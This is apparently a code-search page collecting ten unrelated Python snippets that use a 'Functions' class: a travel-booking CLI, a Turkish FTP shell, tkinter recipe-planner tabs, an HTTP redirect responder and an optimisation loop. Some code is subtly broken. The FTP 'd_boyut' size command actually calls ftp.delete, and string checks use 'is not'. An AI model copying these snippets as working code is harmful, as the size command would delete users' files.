示例#1
0
def main():

    while (True):
        opt = func.menu()

        if opt == "1":  #lista passagens
            # GET /passagem
            req.handle_list_response(req.send_get(req.URL_GET_PASSAGEM))
            func.enter_to_continue()
        elif opt == "2":  #busca de passagens
            # GET /passagem/{key}/{value}
            key = input("Digite o campo que deseja pesquisar:\n")
            value = input("Digite o valor do campo de pesquisa:\n")

            if (key is not "" and value is not ""):
                req.handle_list_response(
                    req.send_get(req.URL_GET_PASSAGEM + '/' + key.lower() +
                                 '/' + value.lower()))
            else:
                print("O campo e o valor de pesquisa devem ser informados")

            func.enter_to_continue()

        elif opt == "3":  #info passagem
            # GET /passagem/{id}
            try:
                passagem_id = int(input("Digite o ID:\n").strip())
            except:
                print("Um id numérico deve ser digitado!")
                func.enter_to_continue()
                continue

            req.handle_list_response(
                req.send_get(req.URL_GET_PASSAGEM + '/' + str(passagem_id)))
            func.enter_to_continue()

        elif opt == "4":  #comprar passagem
            # POST /passagem/comprar
            print("==== Digite todos os dados corretamente ====\n")

            ida_volta = input(
                "Gostaria de comprar as passagens de ida e volta? S = Sim, N = Não \n"
            )

            if (ida_volta.lower() == 's'):
                iteracoes = 2
            else:
                iteracoes = 1

            for i in range(iteracoes):
                if i == 0:
                    print("====== Comprando a passagem de ida ====== \n")
                else:
                    print("====== Comprando a passagem de volta ====== \n")

                passagem_id = input("Digite o ID da passagem: \n")
                cartao = input("Digite o número do cartão: \n")
                parcelas = input("Digite o número de parcelas: \n")
                n_pessoas = input("Digite o número de passagens desejadas: \n")
                json = {
                    "id": str(passagem_id),
                    "cartao": str(cartao),
                    "parcelas": str(parcelas),
                    "n_pessoas": str(n_pessoas)
                }

                req.handle_list_response(
                    req.send_post(req.URL_POST_PASSAGEM, json=json))
                func.enter_to_continue()

        elif opt == "5":  #lista hospedagens
            #GET /hospedagem
            req.handle_list_response(req.send_get(req.URL_GET_HOSPEDAGEM))
            func.enter_to_continue()

        elif opt == "6":
            # GET /hospedagem/{key}/{value}
            key = input("Digite o campo que deseja pesquisar:\n")
            value = input("Digite o valor do campo de pesquisa:\n")

            if (key is not "" and value is not ""):
                req.handle_list_response(
                    req.send_get(req.URL_GET_HOSPEDAGEM + '/' + key.lower() +
                                 '/' + value))
            else:
                print("O campo e o valor de pesquisa devem ser informados")

            func.enter_to_continue()

        elif opt == "7":  #info hospedagem
            #GET /hospedagem/{id}
            try:
                hospedagem_id = int(input("Digite o ID:\n").strip())
            except:
                print("Um id numérico deve ser digitado!")
                func.enter_to_continue()
                continue

            req.handle_list_response(
                req.send_get(req.URL_GET_HOSPEDAGEM + '/' +
                             str(hospedagem_id)))
            func.enter_to_continue()

        elif opt == "8":  #comprar hospedagem
            #POST /hospedagem/comprar
            print("==== Digite todos os dados corretamente ====\n")

            hotel_id = input("Digite o ID do hotel: \n")
            cartao = input("Digite o número do cartão: \n")
            parcelas = input("Digite o número de parcelas: \n")
            n_pessoas = input("Digite o número de quartos desejadas: \n")

            json = {
                "id": str(hotel_id),
                "cartao": str(cartao),
                "parcelas": str(parcelas),
                "n_pessoas": str(n_pessoas)
            }

            req.handle_list_response(
                req.send_post(req.URL_POST_HOSPEDAGEM, json=json))
            func.enter_to_continue()

        elif opt == "9":  #info compra passagem
            #GET /compras/passagem/{codigo}
            id = input("Digite o Código:\n")
            if (id is not ""):
                req.handle_list_response(
                    req.send_get(req.URL_GET_COMPRA_PASSAGEM + '/' + id))
            else:
                print("Um código deve ser digitado")

            func.enter_to_continue()

        elif opt == "10":  #info compra passagem
            #GET /compras/hospedagem/{codigo}
            id = input("Digite o Código:\n")
            if (id is not ""):
                req.handle_list_response(
                    req.send_get(req.URL_GET_COMPRA_HOSPEDAGEM + '/' + id))
            else:
                print("Um código deve ser digitado")

            func.enter_to_continue()
        elif opt == "0":  #info compra passagem
            break
        else:
            print("Opção inválida")
            func.enter_to_continue()
示例#2
0
class FTPLogin:
    ftp_fn = Functions
    print("SDUFTP'ye hoşgeldiniz!")
    ftp = ftp_fn.myLogin(ftp_fn)#İnternet dağında bir tünel açıldı
    path = ftp.pwd()
    print(Functions.getHelp())
    while True:
        command = str(input("Bir komut giriniz:"))

        if command == "yardim":
            print(Functions.getHelp())
            continue

        elif command == "sda":  # Bulunan dizin ismini verir

            try:
                print(ftp.pwd())
            except:
                print("HATA!:Dizin Yolu Bulunamadı.")
            continue

        elif command == "listele":
            continue # şu an çalışmamaktadır
            try:
                resp=ftp.dir()
                print("Başarı ile Listelendi.")
            except:
                print("HATA!: Listelenemedi.")
            continue

        elif command.__contains__("k_olustur"):

            mName=command.replace("k_olustur ","")

            try:
                resp=ftp.mkd(mName)
                print("Klasör Başarı ile Oluşturuldu.")
            except:
                print("HATA!:Klasör Oluşturulamadı.")

            continue


        elif command.__contains__("d_sil"):
            dosyaSil=command.replace("d_sil ","")
            try:
                print(ftp.delete(dosyaSil))
            except:
                print("HATA!:Dosya Silinemedi.")
            continue



        elif command.__contains__("d_boyut"):
            dosya=command.replace("d_boyut ","")
            try:
                print("Dosya boyutu : ",ftp.delete(dosya))
            except:
                print("HATA!:Dosya boyutu belirsiz.")
            continue

        elif command.__contains__("d_degistir"):
            dosya = command.replace("d_degistir ", "")
            try:
                print("Dosya dizin degisti : ", ftp.rename(dosya))
                print("Suan ki yeriniz : ", ftp.pwd())
            except:
                print("HATA!:Dosya adı belirsiz.")
            continue

        elif command.__contains__("d_al"):
            try:
                command = command.replace("d_al ", "")
                command = command.split(" ")
                resp = ftp_fn.download(command[0], command[1], ftp)
                print("Dosya Başarı ile Alındı.")
            except:
                print("HATA!:Dosya Gönderilemedi.")
            continue

        elif command == "d_yukle":
            try:
                resp=ftp_fn.upload()
                print("Dosya Başarı ile Yüklendi.")
            except:
                print("HATA!:Dosya Yüklenemedi.")
            continue

        elif command == "kapat":  # Ftpden çıkma login ekranına geri götürme
            try:
                resp=ftp.close()
                print("Bağlantı Kapatıldı.")
                ftp_fn.myLogin(ftp_fn)
            except:
                print("HATA!:Bağlantıdan Çıkış Yapılamadı.")
            continue

        elif command == "cikis":  # Programdan çıkma
            sys.exit()
示例#3
0
    def __init__(self, tabControl, win, language):
        # Instantiate the objects
        self.i18n = I18N(language)
        self.fonts = Fonts()
        self.functions = Functions(self)
        self.win = win
        self.sql = SqLite()

        # Creating the tab, adding it to the tabControl
        tabD = ttk.Frame(tabControl)
        tabControl.add(tabD, text=self.i18n.tabD)

        # Creating labelframes for the tab
        myPlanner_label = ttk.Label(text=self.i18n.myPlanner,
                                    font=self.fonts.FontHeader)
        self.myPlanner = ttk.LabelFrame(tabD, labelwidget=myPlanner_label)
        self.myPlanner.grid(column=0, row=0, pady=10)

        self.search_label = ttk.Label(text=self.i18n.search,
                                      font=self.fonts.FontHeader2)
        self.search = ttk.LabelFrame(self.myPlanner,
                                     labelwidget=self.search_label)
        self.search.grid(column=0, row=1, sticky="W")

        def handle_focus_in(_):
            recipies = self.sql.select_recipes()
            try:
                self.selectDay = OptionMenu(self.search, self.recipe_list,
                                            *recipies)
                self.selectDay.grid(column=0,
                                    row=2,
                                    sticky="W",
                                    padx=8,
                                    pady=4)
            except:
                pass

        # Get a list of recipes from the db
        recipies = self.sql.select_recipes()
        tabD.bind("<FocusIn>", handle_focus_in)

        # Searchbox
        self.recipe_list = StringVar(self.win)

        # On change dropdown value
        def change_dropdown(*args):
            self.recipe_list.get()
            recipies = self.sql.select_recipes()

        # link function to change dropdown
        self.recipe_list.trace('w', change_dropdown)
        self.recipe_list.set(self.i18n.selectrecipe)

        # This function formats the "JSON" recipe and shows the data
        def show_selected_recipe():
            try:
                selected_recipe_list = self.sql.show_recipe(
                    self.recipe_list.get())
                selected_recipe_list = selected_recipe_list[0]
                RecipeName = selected_recipe_list[1]
                RecipeInstructions = selected_recipe_list[2]
                RecipePicture = selected_recipe_list[3]
                RecipeIngrediences = selected_recipe_list[4]
                RecipeMeasurements = selected_recipe_list[5]
                self.RecipeServings = selected_recipe_list[6]

                # The ast import is used to change a string formattet as a list to a list.
                import ast
                import re
                RecipeIngrediences = ast.literal_eval(RecipeIngrediences)
                RecipeMeasurements = ast.literal_eval(RecipeMeasurements)

                # The recipe ingrediences needs to be formattet into two lists, one for the volumes,
                # and one for the measurements. This is because the api for the recipes has strange
                # formats.
                vol = []
                mea = []
                # Going through the list of measurements checking for a number, else append 1
                for x in range(0, len(RecipeIngrediences)):
                    try:
                        x = re.search("\d*\.\d+|\d+", RecipeMeasurements[x])
                        vol.append(x.group())
                    except:
                        vol.append(1)

                # Going through the list of measurements for g,kg,oz..
                for x in range(0, len(RecipeMeasurements)):
                    try:
                        y = re.search("[a-zA-Z ]+", RecipeMeasurements[x])
                        mea.append(y.group())
                    except:
                        pass

                # Setup the canvas for the image
                image = Image.open(RecipePicture) \
                .resize((pHeight+10,pWidth+10),Image.ANTIALIAS)
                self.img = ImageTk.PhotoImage(image)
                self.canvas.create_image(0, 0, anchor='nw', image=self.img)

                self.RecipeMeasurements = [
                    x.strip(' ') for x in RecipeMeasurements
                ]
                self.RecipeMeasurements = list(filter(None,
                                                      RecipeMeasurements))
                list_dict = list(zip(vol, mea))
                self.dict = dict(zip(RecipeIngrediences, list_dict))
                #print(self.diict)

                # Pandas creates a two dimentional datastructure.
                from pandas import DataFrame as df
                data = df.from_dict(
                    self.dict,
                    orient='index',
                    columns=[self.i18n.number, self.i18n.value])
                self.myIngrediences.delete('1.0', tk.END)
                self.myIngrediences.insert(tk.END, data)

                self.myRecipe.delete('1.0', tk.END)
                self.myRecipe.insert(tk.END, RecipeInstructions)
                self.recipe_name.config(text=self.i18n.recipeName + ": " +
                                        RecipeName)
            except:
                pass

        self.search_button = tk.Button(self.search,
                                       text=self.i18n.search,
                                       command=show_selected_recipe)
        self.search_button.grid(column=1, row=2, sticky='W', padx=8, pady=4)

        # Label for the recipe name
        self.recipe_name = ttk.Label(self.myPlanner,
                                     font=self.fonts.FontHeader)
        self.recipe_name.grid(column=0, row=5, padx=8, pady=4, sticky="W")

        # Ingrediences
        self.myIngrediences_label = ttk.Label(self.myPlanner,
                                              text=self.i18n.ingrediences,
                                              font=self.fonts.FontHeader2)
        self.myIngrediences_label.grid(column=0, row=6, sticky="NW", padx=8)
        self.myIngrediences = scrolledtext.ScrolledText(self.myPlanner,
                                                        width=60,
                                                        height=20,
                                                        wrap=tk.WORD)
        self.myIngrediences.grid(column=0, row=7, padx=8, pady=4, sticky="W")

        # Recipe
        self.recipe_label = ttk.Label(self.myPlanner,
                                      text=self.i18n.recipe,
                                      font=self.fonts.FontHeader2)
        self.recipe_label.grid(column=1, row=6, sticky="NW", padx=8)
        self.myRecipe = scrolledtext.ScrolledText(self.myPlanner,
                                                  width=60,
                                                  height=20,
                                                  wrap=tk.WORD)
        self.myRecipe.grid(column=1, row=7, sticky="NW", padx=8, pady=4)

        # Recipe picture
        pHeight = 322
        pWidth = 322
        self.recipepic_label = ttk.Label(self.myPlanner,
                                         text=self.i18n.recipePicture,
                                         font=self.fonts.FontHeader2)
        self.pictureFrame = ttk.LabelFrame(self.myPlanner,
                                           labelwidget=self.recipepic_label)
        self.pictureFrame.grid(column=3, row=6, sticky="NW", rowspan=10)
        self.canvas = Canvas(self.pictureFrame)
        self.canvas.config(width=pWidth, height=pHeight, highlightthickness=0)
        self.canvas.grid(column=0, row=0, padx=8, pady=4)

        # Dropdown menu
        self.add_recipe = ttk.Label(self.myPlanner,
                                    text=self.i18n.addrecipe,
                                    font=self.fonts.FontHeader2)
        self.addRecipes = ttk.LabelFrame(self.myPlanner,
                                         labelwidget=self.add_recipe)
        self.addRecipes.grid(column=0, row=8, sticky="w", columnspan=5)

        self.tkvar = StringVar(self.win)
        self.tkvar.set(self.i18n.selectDay)

        # on change dropdown value
        def change_dropdown(*args):
            self.tkvar.get()

        # link function to change dropdown
        self.tkvar.trace('w', change_dropdown)

        # Dictionary with options
        choices = (self.i18n.monday, self.i18n.tuesday, self.i18n.wednesday,
                   self.i18n.thursday, self.i18n.friday, self.i18n.saturday,
                   self.i18n.sunday)

        # Get planned recipe
        self.plan = self.sql.get_planned_meals()

        self.selectDay = OptionMenu(self.addRecipes, self.tkvar, *choices)
        self.selectDay.grid(column=0, row=0, padx=8, pady=4, sticky="W")

        # This function adds the recipe to the selected day
        def add_recipe_function():
            selected_recipe = self.recipe_list.get()
            selected_day = self.tkvar.get()

            #print(selected_day,selected_recipe)
            self.functions.add_day(selected_recipe, selected_day, language)
            self.sql.add_recipe_to_meal_plan(selected_recipe, selected_day)

        # This function removes the recipe for the selected day
        def remove_recipe_function():
            selected_day = self.tkvar.get()
            self.functions.add_day("None", selected_day, language)
            self.sql.add_recipe_to_meal_plan("None", selected_day)

        # Add and delete button
        self.addButton = tk.Button(self.addRecipes,
                                   text=self.i18n.add,
                                   command=add_recipe_function)
        self.addButton.grid(column=1, row=0)

        self.delButton = tk.Button(self.addRecipes,
                                   text=self.i18n.remove,
                                   command=remove_recipe_function)
        self.delButton.grid(column=2, row=0)

        # Labelframe for the planned recipes
        # This could be reworked to create the labels in a loop
        self.recipe_overview = tk.LabelFrame(self.addRecipes)
        self.recipe_overview.grid(column=0,
                                  row=1,
                                  padx=8,
                                  pady=4,
                                  columnspan=30,
                                  sticky="W")

        for x in range(len(choices)):
            self.test = ttk.Label(self.recipe_overview,
                                  text=choices[x],
                                  font=self.fonts.FontHeader)
            self.test.grid(column=x, row=1, padx=49, pady=4, sticky="W")

        word_len = 200
        self.monday_recipe = ttk.Label(self.recipe_overview,
                                       text=self.plan[0],
                                       font=self.fonts.FontHeader2,
                                       wraplength=word_len)
        self.monday_recipe.grid(column=0, row=4)

        self.tuesday_recipe = ttk.Label(self.recipe_overview,
                                        text=self.plan[1],
                                        font=self.fonts.FontHeader2,
                                        wraplength=word_len)
        self.tuesday_recipe.grid(column=1, row=4)

        self.wednsday_recipe = ttk.Label(self.recipe_overview,
                                         text=self.plan[2],
                                         font=self.fonts.FontHeader2,
                                         wraplength=word_len)
        self.wednsday_recipe.grid(column=2, row=4)

        self.thursday_recipe = ttk.Label(self.recipe_overview,
                                         text=self.plan[3],
                                         font=self.fonts.FontHeader2,
                                         wraplength=word_len)
        self.thursday_recipe.grid(column=3, row=4)

        self.friday_recipe = ttk.Label(self.recipe_overview,
                                       text=self.plan[4],
                                       font=self.fonts.FontHeader2,
                                       wraplength=word_len)
        self.friday_recipe.grid(column=4, row=4)

        self.saturday_recipe = ttk.Label(self.recipe_overview,
                                         text=self.plan[5],
                                         font=self.fonts.FontHeader2,
                                         wraplength=word_len)
        self.saturday_recipe.grid(column=5, row=4)

        self.sunday_recipe = ttk.Label(self.recipe_overview,
                                       text=self.plan[6],
                                       font=self.fonts.FontHeader2,
                                       wraplength=word_len)
        self.sunday_recipe.grid(column=6, row=4)
示例#4
0
class Redirecter:
    def __init__(self):
        self._responseRedirect = 'HTTP/1.1 301 Moved Permanently\r\n' \
                                 'Location: URLPLACEHOLDER\r\n' \
                                 'Connection: close\r\n' \
                                 'Content-length: 0\r\n\r\n'

        self._responseDisplayOwnPage = 'HTTP/1.1 200 OK\r\n' \
                                       'Content-Length: LENGTHPLACEHOLDER\r\n' \
                                       'Content-Type: text/html\r\n' \
                                       'Connection: close\r\n\r\n' \
                                       'BODYPLACEHOLDER'

        self._tools = Functions()


    def redirectToURL(self, url, client, header):

            if type(url) is not str:
                print "URL must be a string"
                return False

            host = self._tools.getHostname(header)
            host2 = "http://" + host + "/"
            #print "[+] Hostname: " + str(host)

            if str(url) in host or str(url) in host2:
                #print "[*] Debug: Redirected site"
                return False

            self._responseRedirect = self._responseRedirect.replace("URLPLACEHOLDER", url)

            print "[*] Redirecting to url:\n" + str(self._responseRedirect)
            client.sendall(bytes(self._responseRedirect))

            return True

    def redirectDislpayOwnPage(self, file, client):
        try:
            # Load content which should be displayed
            with open(file, "r") as f:
                filecontent = f.readlines()

            content = ""
            for c in filecontent:
                content += c

            if content is "":
                return False

            self._responseDisplayOwnPage = self._responseDisplayOwnPage.replace("LENGTHPLACEHOLDER", str(len(content)))
            self._responseDisplayOwnPage = self._responseDisplayOwnPage.replace("BODYPLACEHOLDER", str(content))

            client.sendall(bytes(self._responseDisplayOwnPage))

            print "[+] Successfully send page to client!"

            return True
        except (OSError, IOError) as e:
            print "[-] " + str(e)
            return False
        except Exception:
            print "[-] Something went wrong..."
            return False
示例#5
0
    print("Organising Folder Gamma...")
    gammaData = CustomisedAudioRecording("Gamma")
    gammaData.PerformOperations()
    gammaSourceFiles = gammaData.GetFiles()
    print("Connecting to different services...")
    database = CustomisedDatabase()
    youtube = CustomisedYoutubeService()
    print("Fetching new Videos...")
    videoList = youtube.GetVideoIDs("Streaming")
    videoDetails = youtube.GetVideoStartTimeDetails(videoList)
    print("Adding new Videos...")
    database.InsertVideos(videoDetails)
    print("Processing Videos...")
    videoDataToProcess = database.GetVideosToOrganise()
    print("Updating Shastra Name for Videos...")
    for (videoId, videoStartDate) in videoDataToProcess:
        shastraName = Functions.GetShastraName(videoStartDate,
                                               alphaSourceFiles)
        if shastraName:
            database.UpdateShastraName(videoId, shastraName)
    print("Updating Links for Videos...")
    database.UpdateInternalReferences()
    print("Updating Video Data on Youtube...")
    for updateData in database.FetchDataToUpdate():
        youtube.SetVideoDetails(updateData, "L")
        isUpdateSuccess = youtube.UpdateVideoInformation()
        if isUpdateSuccess:
            database.SetUpdateCompleted()
except Exception as exp:
    print('An error occurred: ')
    print(exp)
示例#6
0
xtrain = data['Xtrain']
ytrain = data['ytrain']

N, M = np.shape(xtrain)
lambda_1 = 0.001
lambda_2 = 0.001

#w = sol_0[0:-1]
#b = sol_0[-1]

#df = np.ones(M+1)
sol = np.zeros(M + 1)
norm_sol = np.sqrt(np.dot(sol, sol))

f_value = Functions.target_function(sol, N, M, xtrain, ytrain, lambda_1,
                                    lambda_2)
df = Functions.d_function(sol, N, M, xtrain, ytrain, lambda_1, lambda_2)
norm_df = np.sqrt(np.dot(df, df))

count = 0
max_count = 20000
#max_count = 2

f_his = []
f_his.append(f_value)

fw.write("# iteration number\t f\t df's norm\t solution's norm\n")

while count < max_count and norm_df > epsilon * np.maximum(1, norm_sol):
    if count % 50 == 0:
        print("Iteration %d: f = %f, df's norm = %f, solution's norm = %f" %
示例#7
0
 def __init__(self, tab, language):
     self.i18n = I18N(language)
     self.functions = Functions(self)
     self.fonts = Fonts()
     self.calendarframe(tab, language)
示例#8
0
  def __init__(self, tabControl, win, language):
    # Instantiate the objects
    self.i18n = I18N(language)
    self.functions = Functions(self)
    self.fonts = Fonts()
    self.win = win
    self.sql = SqLite()

    # Creating the tab, adding it to the tabControl
    tabA = ttk.Frame(tabControl)
    tabControl.add(tabA, text=self.i18n.tabA)

    # Creating the labelframe for the tab
    myDay_label = ttk.Label(text=self.i18n.myDay, font = self.fonts.FontHeader)
    self.myDay = ttk.LabelFrame(tabA, labelwidget=myDay_label)
    self.myDay.grid(column=0, row=0, pady=10)

    # This function is run when tabA is in focus. 
    # It collects the planned recipe for the current day, if any exists.
    # Else we do nothing.
    def handle_focus_in(_):
      self.recipename = self.sql.get_planned_meal(datetime.today().strftime('%A'))[0][0]
      try:
        self.recipe = self.sql.show_recipe(self.recipename)[0]
        self.recipeinstructions = self.recipe[2]
        self.recipepicture = self.recipe[3]
        self.recipeingrediences = self.recipe[4]
        self.recipemeasurements = self.recipe[5]

        if self.recipename != "None":
          show_recipe(self.recipename, self.recipe,
            self.recipeinstructions, self.recipepicture,
            self.recipeingrediences, self.recipemeasurements)
        if self.recipename == "None":
          self.ingredienceT.delete('1.0',tk.END)
          self.recipeT.delete('1.0',tk.END)
          myDay_label.config(text = self.i18n.myDay+": ")
          self.canvas.delete('all')
      except:
        pass

    tabA.bind("<FocusIn>", handle_focus_in)

    # This function formats the "JSON" recipe and shows the data
    def show_recipe(recipename, recipe, recipeinstructions, recipepicture, recipeingrediences, recipemeasurements):
      # The ast import is used to change a string formattet as a list to a list.
      import ast
      import re
      self.recipeingrediences = ast.literal_eval(self.recipeingrediences)
      self.recipemeasurements = ast.literal_eval(self.recipemeasurements)

      # The recipe ingrediences needs to be formattet into two lists, one for the volumes,
      # and one for the measurements. This is because the api for the recipes has strange 
      # formats.
      vol = []; mea = []
      # Going through the list of measurements checking for a number, else append 1
      for x in range(0,len(self.recipeingrediences)):
        try: 
          x = re.search("\d*\.\d+|\d+", self.recipemeasurements[x])
          vol.append(x.group())
        except:
          vol.append(1)
      # Going through the list of measurements for g,kg,oz..
      for x in range(0,len(self.recipemeasurements)):
        try:
          y = re.search("[a-zA-Z ]+", self.recipemeasurements[x])
          mea.append(y.group())
        except:
          pass

      # Setup the canvas for the image
      pHeight = 340; pWidth =  340
      image = Image.open(self.recipepicture) \
      .resize((pHeight+10,pWidth+10),Image.ANTIALIAS)
      self.img = ImageTk.PhotoImage(image)
      self.canvas.create_image(0,0,anchor='nw',image=self.img)

      # Create a dictionary for the volumes and measurements
      list_dict = list(zip(vol,mea))
      self.dict = dict(zip(self.recipeingrediences, list_dict))
      #print(self.diict)

      # Pandas creates a two dimentional datastructure.
      from pandas import DataFrame as df
      data = df.from_dict(self.dict, orient='index',
                          columns = [self.i18n.number, self.i18n.value])
      #Insert the data in the ingredienceT scrolled text
      self.ingredienceT.delete('1.0',tk.END)
      self.ingredienceT.insert(tk.END, data)

      #Insert the recipe instructions into recipeT scrolled text
      self.recipeT.delete('1.0',tk.END)
      self.recipeT.insert(tk.END, self.recipeinstructions)
      myDay_label.config(text = self.i18n.myDay+": "+self.recipename)

    # Making the Ingrediences textbox, first with a labelframe
    ingredienceF_label = ttk.Label(text=self.i18n.ingrediences,
                                   font = self.fonts.FontHeader2)
    ingredienceF = ttk.LabelFrame(self.myDay, labelwidget = ingredienceF_label)
    ingredienceF.grid(column=0, row=1, padx=10, sticky="NW")

    # The ingredienceT contains the ingrediences
    self.ingredienceT = scrolledtext.ScrolledText(ingredienceF,
                                                  width=60, height=20, wrap=tk.WORD)
    self.ingredienceT.grid(column=0, row=1, sticky="NW")

    # Making the recipe textbox
    recipeF_label = ttk.Label(text=self.i18n.recipe, font = self.fonts.FontHeader2)
    self.recipeF = ttk.LabelFrame(self.myDay, labelwidget=recipeF_label)
    self.recipeF.grid(column=0, row=2, padx=10, sticky="NW")

    # The recipeT contains the instructions
    self.recipeT = scrolledtext.ScrolledText(self.recipeF, width=60, height=20, wrap=tk.WORD)
    self.recipeT.grid(column=0, row=1, sticky="NW")

    # Making the Recipe picture canvas
    pHeight = 340; pWidth =  340
    label = ttk.Label(text=self.i18n.recipePicture, font = self.fonts.FontHeader2)
    self.pictureFrame = ttk.LabelFrame(self.myDay,labelwidget=label)
    self.pictureFrame.grid(column=1, row=1, padx=8, pady=4, sticky="NW",rowspan=10)
    self.canvas = Canvas(self.pictureFrame)
    self.canvas.config( width = pWidth, height = pHeight, highlightthickness =0)
    self.canvas.grid(column=0,row=0)

    # Show the recipe for the day, this is only used when the program is initiated
    try:
      self.recipename = self.sql.get_planned_meal(datetime.today().strftime('%A'))[0][0]
      self.recipe = self.sql.show_recipe(self.recipename)[0]
      self.recipeinstructions = self.recipe[2]
      self.recipepicture = self.recipe[3]
      self.recipeingrediences = self.recipe[4]
      self.recipemeasurements = self.recipe[5]
      show_recipe(self.recipename, self.recipe,
                  self.recipeinstructions, self.recipepicture,
                  self.recipeingrediences, self.recipemeasurements)
    except:
      pass

    # This function sends the shopping list to the user.
    # Right now, it only shows a message box, but could be improved with an email or other.
    def send_shopping_list():
      shoppinglist=[]
      try:
        for i in range(0,len(self.recipeingrediences)):
          shoppinglist.append(self.recipeingrediences[i]+" "+self.recipemeasurements[i])
        message = "\n".join(shoppinglist)
        mBox.showinfo(self.i18n.shoppinglist,
                      message)
      except:
        mBox.showinfo(self.i18n.shoppinglist,
                      self.i18n.emptymessage)
      #print(*shoppinglist, sep='\n')
    
    # This function opens a dialog box to help the user add shoppings to the inventory.
    def add_shopping_to_db():
      #self.sql.add_inventory("Pasta","1000","g","")
      try:
        self.functions.add_shopping_to_db(language,self.recipeingrediences)
      except:
        mBox.showinfo(self.i18n.shoppinglist,
                      self.i18n.emptymessage)

    # Button to send the shopping list
    self.send_shopping_list_button = tk.Button(self.myDay,text=self.i18n.sendshopping,
                                               command=send_shopping_list)
    self.send_shopping_list_button.grid(column=0, row=3, sticky="W", padx=8, pady=4)

    # Button to add the shopping to the db
    self.add_shopping_to_db_button = tk.Button(self.myDay, text= self.i18n.addshopping,
                                               command=add_shopping_to_db)
    self.add_shopping_to_db_button.grid(column=0, row=4, sticky="W", padx=8, pady=4)

    # Initiate the calnderFrame by providing the tab name and the language.
    from calendarFrame import CalendarFrame
    self.calendar = CalendarFrame(self.myDay, language)
示例#9
0
    def __init__(self, tabControl, win, language):
        # Instantiate the objects
        self.i18n = I18N(language)
        self.functions = Functions(self)
        self.fonts = Fonts()
        self.win = win
        self.sql = SqLite()

        # Creating the tab, adding it to the tabControl
        tabC = ttk.Frame(tabControl)
        tabControl.add(tabC, text=self.i18n.tabC)

        # Creating the labelframe for the tab
        self.myFridge_label = ttk.Label(tabC,
                                        text=self.i18n.myFridge,
                                        font=self.fonts.FontHeader)
        self.myFridge = ttk.LabelFrame(tabC, labelwidget=self.myFridge_label)
        self.myFridge.grid(column=0, row=0)

        # Makeing a treeview for the fridge inventory.
        tree = ttk.Treeview(self.myFridge, height=40)
        tree.grid(column=0, row=0, rowspan=50, padx=10, columnspan=2)
        tree.config(selectmode='browse')

        tree["columns"] = ("one", "two", "three")
        tree.column("#0", width=200, stretch=False)
        tree.heading("#0", text=self.i18n.treeName, anchor="w")

        tree.column("one", width=50, stretch=False)
        tree.heading("one", text=self.i18n.treeVolume, anchor="w")

        tree.column("two", width=40, stretch=False)
        tree.heading("two", text=self.i18n.treeUnit, anchor="w")

        tree.column("three", width=80, stretch=False)
        tree.heading("three", text=self.i18n.treeExpiration, anchor="w")

        def handle_focus_in(_):
            # Collect what we have in the inventory
            try:
                inventory = self.sql.select_inventory()
                for n in inventory:
                    tree.insert("",
                                0,
                                n[0],
                                text=n[0],
                                values=((n)[1], n[2], n[3]))
            except IndexError:
                pass

        # This function enables the tree to be edited.
        # But this is only for the values, not the name
        def set_cell_value(event):  # Double click to enter the edit state
            try:
                for item in tree.selection():
                    item_text = tree.item(item, "values")
                    #print(item_text[0:2]) # Output the value of the selected row
                    column = tree.identify_column(event.x)  # column
                    row = tree.identify_row(event.y)  #row
                #Placing the textbox
                cn = int(str(column).replace('#', ''))
                rn = tree.index(tree.selection())
                if cn == 1:
                    x_pos = 200
                if cn == 2:
                    x_pos = 250
                if cn == 3:
                    x_pos = 290

                entryedit = Text(self.myFridge, width=10, height=1)
                entryedit.config(wrap='none')
                entryedit.place(x=x_pos, y=20 + rn * 20)
                entryedit.insert(0.0, item_text[cn - 1:cn])
                entryedit.focus_force()

                # The new value will be saved when the Return button is pressed
                def saveedit(event):
                    newvalue = entryedit.get(0.0, "end").strip()
                    tree.set(item, column=column, value=newvalue)
                    #set value in db
                    name = tree.item(item, "text")
                    values = tree.item(item, "values")
                    self.sql.update_inventory(name, values[0], values[1],
                                              values[2])
                    entryedit.destroy()

                entryedit.bind('<Return>', saveedit)
            except UnboundLocalError:
                pass

        def selectItem(event):
            curItem = tree.focus()
            selected_item = tree.item(curItem, "text")

        # Bind the function to a double click on a cell
        tree.bind('<Double-1>', set_cell_value)
        tree.bind('<ButtonRelease-1>', selectItem)

        # This function deletes the desired item from the database and treeview
        def del_from_db():
            try:
                curItem = tree.focus()
                selected_item = tree.item(curItem, "text")
                self.sql.delete_inventory(selected_item)
                tree.delete(selected_item)
            except:
                pass

        # This function adds the item to the database and treeview
        def add_to_db():
            try:
                new_item = entry_name.get(0.0, "end").strip()
                tree.insert("",
                            'end',
                            new_item,
                            text=new_item,
                            values=(0, 0, 0))
                self.sql.add_inventory(new_item, 0, 0, 0)
            except:
                pass

        tabC.bind("<FocusIn>", handle_focus_in)
        # Label and text box to add or delete item in database.
        entry_label = ttk.Label(self.myFridge, text=self.i18n.addNewItem)
        entry_label.grid(column=2, row=0, sticky="w")

        entry_name = Text(self.myFridge, width=20, height=1)
        entry_name.config(wrap='none')
        entry_name.grid(column=2, row=1, sticky="w")

        add_button = tk.Button(self.myFridge,
                               text=self.i18n.addNewItem,
                               command=add_to_db)
        add_button.grid(column=2, row=2, sticky="w")

        del_button = tk.Button(self.myFridge,
                               text=self.i18n.deleteItem,
                               command=del_from_db)
        del_button.grid(column=2, row=3, sticky="w")

        # Initiate the calnderFrame by providing the tab name and the language.
        from calendarFrame import CalendarFrame
        self.calendar = CalendarFrame(tabC, language)
示例#10
0
class CalendarFrame():
    def __init__(self, tab, language):
        self.i18n = I18N(language)
        self.functions = Functions(self)
        self.fonts = Fonts()
        self.calendarframe(tab, language)

    def calendarframe(self, tab, language):
        # Making the calender frame
        calenderF = Canvas(tab)
        calenderF.grid(column=3,
                       rowspan=10,
                       row=0,
                       padx=100,
                       pady=20,
                       sticky="NE")
        cH = 1000
        cW = 600
        calenderF.config(height=cH, width=cW, highlightthickness=0)
        calenderF.create_rectangle(-10, -10, cW + 5, cH + 5, fill='#c2c0c0')

        # Showing a clock
        self.clock = ttk.Label(calenderF,
                               font=self.fonts.Clock,
                               foreground='black',
                               borderwidth=2,
                               relief="groove")
        self.clock.grid(column=0, row=0, padx=100, pady=10, sticky="N")
        # Starting the clock function in a thread
        threading.Thread(self.functions.tick()).start()

        # Showing the date
        self.date = ttk.Label(calenderF,
                              width=0,
                              font=self.fonts.FontHeader,
                              borderwidth=2,
                              relief="groove")
        self.date.grid(column=0, row=10, padx=10, pady=10, sticky="N")
        # Starting the time thread
        threading.Thread(self.functions.get_time()).start()

        # Showing the calender
        thisdate = datetime.now()
